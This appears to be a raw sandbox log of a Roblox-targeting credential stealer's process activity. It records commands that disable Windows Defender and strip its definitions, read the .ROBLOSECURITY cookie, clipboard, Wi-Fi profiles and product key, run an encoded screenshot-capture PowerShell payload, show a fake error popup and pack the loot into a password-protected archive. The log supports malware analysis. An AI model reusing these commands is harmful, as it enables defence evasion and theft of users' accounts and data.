Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('please open roblox', 0, 'Roblox Process Not Found!', 0+16);close()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bexzy300\bexzy300.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES5209.tmp" "c:\Users\user\AppData\Local\Temp\bexzy300\CSC6721B5F011FD4FBD8DF74B583831980.TMP"
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\_MEI33962\rar.exe a -r -hp"Cribry10" "C:\Users\user~1\AppData\Local\Temp\aaDHy.zip" *"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe C:\Users\user~1\AppData\Local\Temp\_MEI33962\rar.exe a -r -hp"Cribry10" "C:\Users\user~1\AppData\Local\Temp\aaDHy.zip" *
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Users\user\Desktop\X9g8L63QGs.exe "C:\Users\user\Desktop\X9g8L63QGs.exe"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('please open roblox', 0, 'Roblox Process Not Found!', 0+16);close()""	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
